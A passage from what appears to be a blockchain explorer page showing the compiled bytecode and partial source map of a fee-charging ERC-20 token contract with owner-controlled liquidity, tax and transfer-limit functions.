20696e73756666696369656e742062616c616e6365000000604482015260640161071b565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146117ac576040519150601f19603f3d011682016040523d82523d6000602084013e6117b1565b606091505b50509050806109895760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d61792068617665207265766572746564000000000000606482015260840161071b565b600060208083528351808285015260005b8181101561185557858101830151858201604001528201611839565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610c7357600080fd5b6000806040838503121561189e57600080fd5b82356118a981611876565b946020939093013593505050565b6000806000606084860312156118cc57600080fd5b83356118d781611876565b925060208401356118e781611876565b929592945050506040919091013590565b60006020828403121561190a57600080fd5b813561135781611876565b60006020828403121561192757600080fd5b5035919050565b6000806040838503121561194157600080fd5b823561194c81611876565b9150602083013561195c81611876565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561069957610699611967565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156119d757600080fd5b815161135781611876565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600080600060608486031215611a3257600080fd5b8351925060208401519150604084015190509250925092565b8082018082111561069957610699611967565b808202811582820484141761069957610699611967565b600082611a9257634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611afd5784516001600160a01b031683529383019391830191600101611ad8565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220574ce1945c2dd07f317731217a34d1b8e8f57eceb7d32deb281cab99cfb7b3db64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101f25760003560e01c8063768dc7101161010d578063a9059cbb116100a0578063ee9a5d821161006f578063ee9a5d82146105ea578063ef07a18214610617578063f2fde38b1461062d578063f887ea401461064d578063f9d0ee941461066d57600080fd5b8063a9059cbb14610553578063cc1776d314610573578063d62ce6311461058e578063dd62ed3e146105a457600080fd5b80638f3fa860116100dc5780638f3fa860146104d057806395d89b41146104e6578063a457c2d714610513578063a8aa1b311461053357600080fd5b8063768dc710146104585780637a75885f1461048857806386b676cd1461049d5780638da5cb5b146104b257600080fd5b806339509351116101855780635966c81e116101545780635966c81e146103d75780636a01f09c146103f757806370a082311461040d578063715018a61461044357600080fd5b8063395093511461032f5780633ff42b921461034f5780634cf27997146103875780634f7041a5146103a757600080fd5b806323b872dd116101c157806323b872dd146102ae57806328c61f41146102ce578063293230b8146102fe578063313ce5671461031357600080fd5b806301d28e7f146101fe57806306fdde031461021c578063095ea7b31461025f57806318160ddd1461028f57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5061021a6011805460ff19169055565b005b34801561022857600080fd5b506040805180820190915260088152671319595d08109bdd60c21b60208201525b6040516102569190611828565b60405180910390f35b34801561026b57600080fd5b5061027f61027a36600461188b565b610688565b6040519015158152602001610256565b34801561029b57600080fd5b506006545b604051908152602001610256565b3480156102ba57600080fd5b5061027f6102c93660046118b7565b61069f565b3480156102da57600080fd5b5061027f6102e93660046118f8565b600d6020526000908152604090205460ff1681565b34801561030a57600080fd5b5061021a6106f1565b34801561031f57600080fd5b5060405160098152602001610256565b34801561033b57600080fd5b5061027f61034a36600461188b565b61098e565b34801561035b57600080fd5b5060035461036f906001600160a01b031681565b6040516001600160a01b039091168152602001610256565b34801561039357600080fd5b5061021a6103a236600461188b565b6109c5565b3480156103b357600080fd5b506014546015546103c2919082565b60408051928352602083019190915201610256565b3480156103e357600080fd5b5061021a6103f2366004611915565b610a19565b34801561040357600080fd5b506102a060075481565b34801561041957600080fd5b506102a06104283660046118f8565b6001600160a01b031660009081526004602052604090205490565b34801561044f57600080fd5b5061021a610ac4565b34801561046457600080fd5b5061027f6104733660046118f8565b600c6020526000908152604090205460ff1681565b34801561049457600080fd5b5061021a610afa565b3480156104a957600080fd5b5061021a610b31565b3480156104be57600080fd5b506000546001600160a01b031661036f565b3480156104dc57600080fd5b506102a060095481565b3480156104f257600080fd5b506040805180820190915260048152631311515560e21b6020820152610249565b34801561051f57600080fd5b5061027f61052e36600461188b565b610b97565b34801561053f57600080fd5b5060025461036f906001600160a01b031681565b34801561055f57600080fd5b5061027f61056e36600461188b565b610bce565b34801561057f57600080fd5b506012546013546103c2919082565b34801561059a57600080fd5b506102a060085481565b3480156105b057600080fd5b506102a06105bf36600461192e565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156105f657600080fd5b506102a06106053660046118f8565b60166020526000908152604090205481565b34801561062357600080fd5b506102a060185481565b34801561063957600080fd5b5061021a6106483660046118f8565b610bdb565b34801561065957600080fd5b5060015461036f906001600160a01b031681565b34801561067957600080fd5b50600a54600b546103c2919082565b6000610695338484610c76565b5060015b92915050565b60006106ac848484610d9a565b6001600160a01b0384166000908152600560209081526040808320338085529252909120546106e79186916106e290869061197d565b610c76565b5060019392505050565b6000546001600160a01b031633146107245760405162461bcd60e51b815260040161071b90611990565b60405180910390fd5b600160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610777573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079b91906119c5565b6001600160a01b031663c9c6539630600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107fd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082191906119c5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561086e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089291906119c5565b600280546001600160a01b0319166001600160a01b039283169081179091556000908152600d60205260409020805460ff19166001908117909155546108dd91309116600019610c76565b6001546001600160a01b031663f305d719473061090f816001600160a01b031660009081526004602052604090205490565b6000806109246000546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610946969594939291906119e2565b60606040518083038185885af1158015610964573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109899190611a1d565b505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916106959185906106e2908690611a4b565b6000546001600160a01b031633146109ef5760405162461bcd60e51b815260040161071b90611990565b6109f98142611a4b565b6001600160a01b0390921660009081526016602052604090209190915550565b6000546001600160a01b03163314610a435760405162461bcd60e51b815260040161071b90611990565b80471015610a935760405162461bcd60e51b815260206004820152601860248201527f496e73756666696369656e74204554482062616c616e63650000000000000000604482015260640161071b565b604051339082156108fc029083906000818181858888f19350505050158015610ac0573d6000803e3d6000fd5b5050565b6000546001600160a01b03163314610aee5760405162461bcd60e51b815260040161071b90611990565b610af860006111da565b565b6000546001600160a01b03163314610b245760405162461bcd60e51b815260040161071b90611990565b6006546008819055600955565b600a54600b54600091610b4391611a4b565b306000908152600460205260409020549091508110610b6157600080fd5b30600090815260046020526040812054610b7c90839061197d565b600354909150610ac09030906001600160a01b031683610d9a565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916106959185906106e290869061197d565b6000610695338484610d9a565b6000546001600160a01b03163314610c055760405162461bcd60e51b815260040161071b90611990565b6001600160a01b038116610c6a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161071b565b610c73816111da565b50565b6001600160a01b038316610cd85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161071b565b6001600160a01b038216610d395760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161071b565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610dfc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161071b565b60085481111580610e2557506001600160a01b0383166000908152600d602052604090205460ff165b610e835760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206578636565647320746865205f6d61786044820152682a3c20b6b7bab73a1760b91b606482015260840161071b565b6001600160a01b038216610ee55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161071b565b6001600160a01b038316610f495760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161071b565b6001600160a01b0382166000908152600d602052604090205460ff16610ff35760095481610f8c846001600160a01b031660009081526004602052604090205490565b610f969190611a4b565b1115610ff35760405162461bcd60e51b815260206004820152602660248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785760448201526530b63632ba1760d11b606482015260840161071b565b6007543060009081526004602052604090205410158015611016575060115460ff165b80156110315750600f5460105461102d9190611a4b565b4210155b80156110405750600e5460ff16155b801561105a57506002546001600160a01b03848116911614155b801561107457506000546001600160a01b03848116911614155b801561108e57506000546001600160a01b03838116911614155b1561109b5761109b61122a565b806110a6848461132a565b156110bb576015546110b89083611a5e565b91505b6001600160a01b038416600090815260046020526040812080548492906110e390849061197d565b90915550506001600160a01b0384166000908152600c60205260409020549091508190819060ff1615801561113157506001600160a01b0384166000908152600c602052604090205460ff16155b156111575760025461115490849087906001600160a01b0388811691161461135e565b90505b6001600160a01b0384166000908152600460205260408120805483929061117f908490611a4b565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111cb91815260200190565b60405180910390a35050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600e805460ff19166001179055600a541561129a57600061124f600a600001546114c6565b90508015611298576003546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611291573d6000803e3d6000fd5b506000600a555b505b600b54156112f157600b546000906112b490600290611a75565b9050600081600a600101546112c9919061197d565b905060006112d6836114c6565b905080156112e8576112e88282611636565b50506000600b55505b6040517fd9f20192eafa060dc85f5f8b3b0a5b9c106b02d5d1503335b857e50c2bb7003090600090a142601055600e805460ff19169055565b6002546000906001600160a01b03838116911614801561135757506003546001600160a01b038481169116145b9392505050565b60408051808201909152601454815260155460208201526000904783156113b3576040518060400160405280601954836113989190611a75565b6012546113a5919061197d565b815260135460209091015291505b81516000906064906113c59089611a5e565b6113cf9190611a75565b9050600060648460200151896113e59190611a5e565b6113ef9190611a75565b905081156114125781600a600001600082825461140c9190611a4b565b90915550505b80156114335780600a600101600082825461142d9190611a4b565b90915550505b600061143f8284611a4b565b30600090815260046020526040812080549293508392909190611463908490611a4b565b909155505080156114af5760405181815230906001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b6114b9818a61197d565b9998505050505050505050565b604080516002808252606082018352600092479284929091602083019080368337019050509050308160008151811061150157611501611a97565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561155a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061157e91906119c5565b8160018151811061159157611591611a97565b6001600160a01b0392831660209182029290920101526001546115b79130911686610c76565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac947906115f0908790600090869030904290600401611aad565b600060405180830381600087803b15801561160a57600080fd5b505af115801561161e573d6000803e3d6000fd5b50505050814761162e919061197d565b949350505050565b60015461164e9030906001600160a01b031684610c76565b6001546000906001600160a01b031663f305d71983308685806116796000546001600160a01b031690565b426040518863ffffffff1660e01b815260040161169b969594939291906119e2565b60606040518083038185885af11580156116b9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906116de9190611a1d565b509150600090506116ef828461197d565b111561098957610989611702828461197d565b6003546001600160a01b0316908047101561175f5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604482015260640161071b565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146117ac576040519150601f19603f3d011682016040523d82523d6000602084013e6117b1565b606091505b50509050806109895760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d61792068617665207265766572746564000000000000606482015260840161071b565b600060208083528351808285015260005b8181101561185557858101830151858201604001528201611839565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610c7357600080fd5b6000806040838503121561189e57600080fd5b82356118a981611876565b946020939093013593505050565b6000806000606084860312156118cc57600080fd5b83356118d781611876565b925060208401356118e781611876565b929592945050506040919091013590565b60006020828403121561190a57600080fd5b813561135781611876565b60006020828403121561192757600080fd5b5035919050565b6000806040838503121561194157600080fd5b823561194c81611876565b9150602083013561195c81611876565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561069957610699611967565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156119d757600080fd5b815161135781611876565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600080600060608486031215611a3257600080fd5b8351925060208401519150604084015190509250925092565b8082018082111561069957610699611967565b808202811582820484141761069957610699611967565b600082611a9257634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611afd5784516001600160a01b031683529383019391830191600101611ad8565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220574ce1945c2dd07f317731217a34d1b8e8f57eceb7d32deb281cab99cfb7b3db64736f6c63430008130033

Deployed Bytecode Sourcemap

3360:10409:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7965:83;;;;;;;;;;;;8021:11;:19;;-1:-1:-1;;8021:19:0;;;7965:83;;;5619;;;;;;;;;;-1:-1:-1;5689:5:0;;;;;;;;;;;;-1:-1:-1;;;5689:5:0;;;;5619:83;;;;;;;:::i;:::-;;;;;;;;6450:161;;;;;;;;;;-1:-1:-1;6450:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6450:161:0;1023:187:1;5896:95:0;;;;;;;;;;-1:-1:-1;5976:7:0;;5896:95;;;1361:25:1;;;1349:2;1334:18;5896:95:0;1215:177:1;7075:266:0;;;;;;;;;;-1:-1:-1;7075:266:0;;;;;:::i;:::-;;:::i;4276:58::-;;;;;;;;;;-1:-1:-1;4276:58:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8943:471;;;;;;;;;;;;;:::i;5805:83::-;;;;;;;;;;-1:-1:-1;5805:83:0;;3847:1;2252:36:1;;2240:2;2225:18;5805:83:0;2110:184:1;6619:215:0;;;;;;;;;;-1:-1:-1;6619:215:0;;;;;:::i;:::-;;:::i;3503:73::-;;;;;;;;;;-1:-1:-1;3503:73:0;;;;-1:-1:-1;;;;;3503:73:0;;;;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;3503:73:0;2299:203:1;8056:151:0;;;;;;;;;;-1:-1:-1;8056:151:0;;;;;:::i;:::-;;:::i;4595:28::-;;;;;;;;;;-1:-1:-1;4595:28:0;;;;;;;;;;;;;2681:25:1;;;2737:2;2722:18;;2715:34;;;;2654:18;4595:28:0;2507:248:1;8735:200:0;;;;;;;;;;-1:-1:-1;8735:200:0;;;;;:::i;:::-;;:::i;3919:41::-;;;;;;;;;;;;;;;;5999:117;;;;;;;;;;-1:-1:-1;5999:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6092:16:0;6065:7;6092:16;;;:7;:16;;;;;;;5999:117;1340:94;;;;;;;;;;;;;:::i;4218:51::-;;;;;;;;;;-1:-1:-1;4218:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7842:115;;;;;;;;;;;;;:::i;8215:512::-;;;;;;;;;;;;;:::i;1117:87::-;;;;;;;;;;-1:-1:-1;1163:7:0;1190:6;-1:-1:-1;;;;;1190:6:0;1117:87;;4023:49;;;;;;;;;;;;;;;;5710:87;;;;;;;;;;-1:-1:-1;5782:7:0;;;;;;;;;;;;-1:-1:-1;;;5782:7:0;;;;5710:87;;6842:225;;;;;;;;;;-1:-1:-1;6842:225:0;;;;;:::i;:::-;;:::i;3477:19::-;;;;;;;;;;-1:-1:-1;3477:19:0;;;;-1:-1:-1;;;;;3477:19:0;;;6124:167;;;;;;;;;;-1:-1:-1;6124:167:0;;;;;:::i;:::-;;:::i;4559:29::-;;;;;;;;;;-1:-1:-1;4559:29:0;;;;;;;;;3967:49;;;;;;;;;;;;;;;;6299:143;;;;;;;;;;-1:-1:-1;6299:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6407:18:0;;;6380:7;6407:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6299:143;4636:48;;;;;;;;;;-1:-1:-1;4636:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;4736:26;;;;;;;;;;;;;;;;1442:192;;;;;;;;;;-1:-1:-1;1442:192:0;;;;;:::i;:::-;;:::i;3449:21::-;;;;;;;;;;-1:-1:-1;3449:21:0;;;;-1:-1:-1;;;;;3449:21:0;;;4170:39;;;;;;;;;;-1:-1:-1;4170:39:0;;;;;;;;;6450:161;6525:4;6542:39;386:10;6565:7;6574:6;6542:8;:39::i;:::-;-1:-1:-1;6599:4:0;6450:161;;;;;:::o;7075:266::-;7173:4;7190:36;7200:6;7208:9;7219:6;7190:9;:36::i;:::-;-1:-1:-1;;;;;7268:19:0;;;;;;:11;:19;;;;;;;;386:10;7268:33;;;;;;;;;7237:74;;7246:6;;7268:42;;7304:6;;7268:42;:::i;:::-;7237:8;:74::i;:::-;-1:-1:-1;7329:4:0;7075:266;;;;;:::o;8943:471::-;1163:7;1190:6;-1:-1:-1;;;;;1190:6:0;386:10;1252:23;1244:68;;;;-1:-1:-1;;;1244:68:0;;;;;;;:::i;:::-;;;;;;;;;9011:6:::1;;;;;;;;;-1:-1:-1::0;;;;;9011:6:0::1;-1:-1:-1::0;;;;;9011:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9002:37:0::1;;9048:4;9055:6;;;;;;;;;-1:-1:-1::0;;;;;9055:6:0::1;-1:-1:-1::0;;;;;9055:11:0::1;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9002:67;::::0;-1:-1:-1;;;;;;9002:67:0::1;::::0;;;;;;-1:-1:-1;;;;;4673:15:1;;;9002:67:0::1;::::0;::::1;4655:34:1::0;4725:15;;4705:18;;;4698:43;4590:18;;9002:67:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8995:4;:74:::0;;-1:-1:-1;;;;;;8995:74:0::1;-1:-1:-1::0;;;;;8995:74:0;;::::1;::::0;;::::1;::::0;;;-1:-1:-1;9080:31:0;;;:25:::1;:31;::::0;;;;:38;;-1:-1:-1;;9080:38:0::1;-1:-1:-1::0;9080:38:0;;::::1;::::0;;;9152:6;9120:59:::1;::::0;9137:4:::1;::::0;9152:6:::1;-1:-1:-1::0;;9120:8:0::1;:59::i;:::-;9190:6;::::0;-1:-1:-1;;;;;9190:6:0::1;:22;9220:21;9265:4;9285:24;9265:4:::0;-1:-1:-1;;;;;6092:16:0;6065:7;6092:16;;;:7;:16;;;;;;;5999:117;9285:24:::1;9324:1;9341::::0;9358:7:::1;1163::::0;1190:6;-1:-1:-1;;;;;1190:6:0;;1117:87;9358:7:::1;9380:15;9190:216;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;8943:471::o:0;6619:215::-;386:10;6707:4;6756:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6756:34:0;;;;;;;;;;6707:4;;6724:80;;6747:7;;6756:47;;6793:10;;6756:47;:::i;8056:151::-;1163:7;1190:6;-1:-1:-1;;;;;1190:6:0;386:10;1252:23;1244:68;;;;-1:-1:-1;;;1244:68:0;;;;;;;:::i;:::-;8176:23:::1;8194:5:::0;8176:15:::1;:23;:::i;:::-;-1:-1:-1::0;;;;;8153:20:0;;::::1;;::::0;;;:12:::1;:20;::::0;;;;:46;;;;-1:-1:-1;8056:151:0:o;8735:200::-;1163:7;1190:6;-1:-1:-1;;;;;1190:6:0;386:10;1252:23;1244:68;;;;-1:-1:-1;;;1244:68:0;;;;;;;:::i;:::-;8839:9:::1;8814:21;:34;;8806:71;;;::::0;-1:-1:-1;;;8806:71:0;;6007:2:1;8806:71:0::1;::::0;::::1;5989:21:1::0;6046:2;6026:18;;;6019:30;6085:26;6065:18;;;6058:54;6129:18;;8806:71:0::1;5805:348:1::0;8806:71:0::1;8888:39;::::0;8896:10:::1;::::0;8888:39;::::1;;;::::0;8917:9;;8888:39:::1;::::0;;;8917:9;8896:10;8888:39;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;8735:200:::0;:::o;1340:94::-;1163:7;1190:6;-1:-1:-1;;;;;1190:6:0;386:10;1252:23;1244:68;;;;-1:-1:-1;;;1244:68:0;;;;;;;:::i;:::-;1405:21:::1;1423:1;1405:9;:21::i;:::-;1340:94::o:0;7842:115::-;1163:7;1190:6;-1:-1:-1;;;;;1190:6:0;386:10;1252:23;1244:68;;;;-1:-1:-1;;;1244:68:0;;;;;;;:::i;:::-;7917:7:::1;::::0;7900:14:::1;:24:::0;;;7926:13:::1;:23:::0;7842:115::o;8215:512::-;8483:18;:34;8453:27;;8429:21;;8453:64;;;:::i;:::-;8554:4;6065:7;6092:16;;;:7;:16;;;;;;8429:88;;-1:-1:-1;8429:88:0;-1:-1:-1;8528:53:0;;;;;;8630:4;8592:17;6092:16;;;:7;:16;;;;;;8612:43;;8639:16;;8612:43;:::i;:::-;8691:13;;8592:63;;-1:-1:-1;8666:53:0;;8684:4;;-1:-1:-1;;;;;8691:13:0;8592:63;8666:9;:53::i;6842:225::-;386:10;6935:4;6984:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6984:34:0;;;;;;;;;;6935:4;;6952:85;;6975:7;;6984:52;;7021:15;;6984:52;:::i;6124:167::-;6202:4;6219:42;386:10;6243:9;6254:6;6219:9;:42::i;1442:192::-;1163:7;1190:6;-1:-1:-1;;;;;1190:6:0;386:10;1252:23;1244:68;;;;-1:-1:-1;;;1244:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1531:22:0;::::1;1523:73;;;::::0;-1:-1:-1;;;1523:73:0;;6360:2:1;1523:73:0::1;::::0;::::1;6342:21:1::0;6399:2;6379:18;;;6372:30;6438:34;6418:18;;;6411:62;-1:-1:-1;;;6489:18:1;;;6482:36;6535:19;;1523:73:0::1;6158:402:1::0;1523:73:0::1;1607:19;1617:8;1607:9;:19::i;:::-;1442:192:::0;:::o;7349:335::-;-1:-1:-1;;;;;7442:19:0;;7434:68;;;;-1:-1:-1;;;7434:68:0;;6767:2:1;7434:68:0;;;6749:21:1;6806:2;6786:18;;;6779:30;6845:34;6825:18;;;6818:62;-1:-1:-1;;;6896:18:1;;;6889:34;6940:19;;7434:68:0;6565:400:1;7434:68:0;-1:-1:-1;;;;;7521:21:0;;7513:68;;;;-1:-1:-1;;;7513:68:0;;7172:2:1;7513:68:0;;;7154:21:1;7211:2;7191:18;;;7184:30;7250:34;7230:18;;;7223:62;-1:-1:-1;;;7301:18:1;;;7294:32;7343:19;;7513:68:0;6970:398:1;7513:68:0;-1:-1:-1;;;;;7592:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7644:32;;1361:25:1;;;7644:32:0;;1334:18:1;7644:32:0;;;;;;;7349:335;;;:::o;9471:1273::-;9566:1;9557:6;:10;9549:64;;;;-1:-1:-1;;;9549:64:0;;7575:2:1;9549:64:0;;;7557:21:1;7614:2;7594:18;;;7587:30;7653:34;7633:18;;;7626:62;-1:-1:-1;;;7704:18:1;;;7697:39;7753:19;;9549:64:0;7373:405:1;9549:64:0;9642:14;;9632:6;:24;;:59;;;-1:-1:-1;;;;;;9660:31:0;;;;;;:25;:31;;;;;;;;9632:59;9624:113;;;;-1:-1:-1;;;9624:113:0;;7985:2:1;9624:113:0;;;7967:21:1;8024:2;8004:18;;;7997:30;8063:34;8043:18;;;8036:62;-1:-1:-1;;;8114:18:1;;;8107:39;8163:19;;9624:113:0;7783:405:1;9624:113:0;-1:-1:-1;;;;;9756:16:0;;9748:64;;;;-1:-1:-1;;;9748:64:0;;8395:2:1;9748:64:0;;;8377:21:1;8434:2;8414:18;;;8407:30;8473:34;8453:18;;;8446:62;-1:-1:-1;;;8524:18:1;;;8517:33;8567:19;;9748:64:0;8193:399:1;9748:64:0;-1:-1:-1;;;;;9831:18:0;;9823:68;;;;-1:-1:-1;;;9823:68:0;;8799:2:1;9823:68:0;;;8781:21:1;8838:2;8818:18;;;8811:30;8877:34;8857:18;;;8850:62;-1:-1:-1;;;8928:18:1;;;8921:35;8973:19;;9823:68:0;8597:401:1;9823:68:0;-1:-1:-1;;;;;9908:29:0;;;;;;:25;:29;;;;;;;;9904:125;;9973:13;;9963:6;9947:13;9957:2;-1:-1:-1;;;;;6092:16:0;6065:7;6092:16;;;:7;:16;;;;;;;5999:117;9947:13;:22;;;;:::i;:::-;:39;;9939:90;;;;-1:-1:-1;;;9939:90:0;;9205:2:1;9939:90:0;;;9187:21:1;9244:2;9224:18;;;9217:30;9283:34;9263:18;;;9256:62;-1:-1:-1;;;9334:18:1;;;9327:36;9380:19;;9939:90:0;9003:402:1;9939:90:0;10082:9;;10072:4;6065:7;6092:16;;;:7;:16;;;;;;10054:37;;:53;;;;-1:-1:-1;10096:11:0;;;;10054:53;:105;;;;;10145:13;;10133:9;;:25;;;;:::i;:::-;10113:15;:46;;10054:105;:119;;;;-1:-1:-1;10165:8:0;;;;10164:9;10054:119;:149;;;;-1:-1:-1;10199:4:0;;-1:-1:-1;;;;;10191:12:0;;;10199:4;;10191:12;;10054:149;:182;;;;-1:-1:-1;1163:7:0;1190:6;-1:-1:-1;;;;;10221:15:0;;;1190:6;;10221:15;;10054:182;:213;;;;-1:-1:-1;1163:7:0;1190:6;-1:-1:-1;;;;;10254:13:0;;;1190:6;;10254:13;;10054:213;10050:245;;;10279:16;:14;:16::i;:::-;10312:6;10334:24;10349:4;10355:2;10334:14;:24::i;:::-;10331:62;;;10379:12;;10370:21;;:6;:21;:::i;:::-;10361:30;;10331:62;-1:-1:-1;;;;;10413:13:0;;;;;;:7;:13;;;;;:23;;10430:6;;10413:13;:23;;10430:6;;10413:23;:::i;:::-;;;;-1:-1:-1;;;;;;;10510:24:0;;10462:22;10510:24;;;:18;:24;;;;;;10447:4;;-1:-1:-1;10447:4:0;;;;10510:24;;10509:25;:52;;;;-1:-1:-1;;;;;;10539:22:0;;;;;;:18;:22;;;;;;;;10538:23;10509:52;10506:139;;;10628:4;;10594:39;;10608:6;;10616:4;;-1:-1:-1;;;;;10622:10:0;;;10628:4;;10622:10;10594:13;:39::i;:::-;10577:56;;10506:139;-1:-1:-1;;;;;10657:11:0;;;;;;:7;:11;;;;;:29;;10672:14;;10657:11;:29;;10672:14;;10657:29;:::i;:::-;;;;;;;;10717:2;-1:-1:-1;;;;;10702:34:0;10711:4;-1:-1:-1;;;;;10702:34:0;;10721:14;10702:34;;;;1361:25:1;;1349:2;1334:18;;1215:177;10702:34:0;;;;;;;;9538:1206;;9471:1273;;;:::o;1642:173::-;1698:16;1717:6;;-1:-1:-1;;;;;1734:17:0;;;-1:-1:-1;;;;;;1734:17:0;;;;;;1767:40;;1717:6;;;;;;;1767:40;;1698:16;1767:40;1687:128;1642:173;:::o;12253:817::-;4842:8;:15;;-1:-1:-1;;4842:15:0;4853:4;4842:15;;;12312:18:::1;:34:::0;:38;12309:309:::1;;12366:18;12387:52;12404:18;:34;;;12387:16;:52::i;:::-;12366:73:::0;-1:-1:-1;12457:14:0;;12454:153:::1;;12499:13;::::0;12491:43:::1;::::0;-1:-1:-1;;;;;12499:13:0;;::::1;::::0;12491:43;::::1;;;::::0;12523:10;;12499:13:::1;12491:43:::0;12499:13;12491:43;12523:10;12499:13;12491:43;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;12590:1:0::1;12553:18;:38:::0;12454:153:::1;12351:267;12309:309;12636:27:::0;;:31;12633:356:::1;;12695:27:::0;;12683:9:::1;::::0;12695:31:::1;::::0;12725:1:::1;::::0;12695:31:::1;:::i;:::-;12683:43;;12741:14;12788:4;12758:18;:27;;;:34;;;;:::i;:::-;12741:51;;12807:14;12824:22;12841:4;12824:16;:22::i;:::-;12807:39:::0;-1:-1:-1;12865:13:0;;12861:70:::1;;12897:34;12910:9;12921;12897:12;:34::i;:::-;-1:-1:-1